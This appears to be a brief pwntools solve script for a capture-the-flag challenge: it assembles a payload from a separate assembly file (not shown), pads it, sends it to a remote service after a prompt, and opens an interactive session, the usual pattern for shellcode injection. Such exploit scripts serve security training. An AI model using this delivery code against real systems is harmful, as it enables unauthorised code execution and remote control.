from pwn import *
from subprocess import run
run("nasm -f bin solve.asm -o solve.bin", shell=True, check=True)
solve = open("solve.bin", "rb").read().ljust(0x1000, b"\x00")
p = remote(args.HOST or "localhost", args.PORT or 5000)
p.sendafter(b"> ", solve)
p.interactive()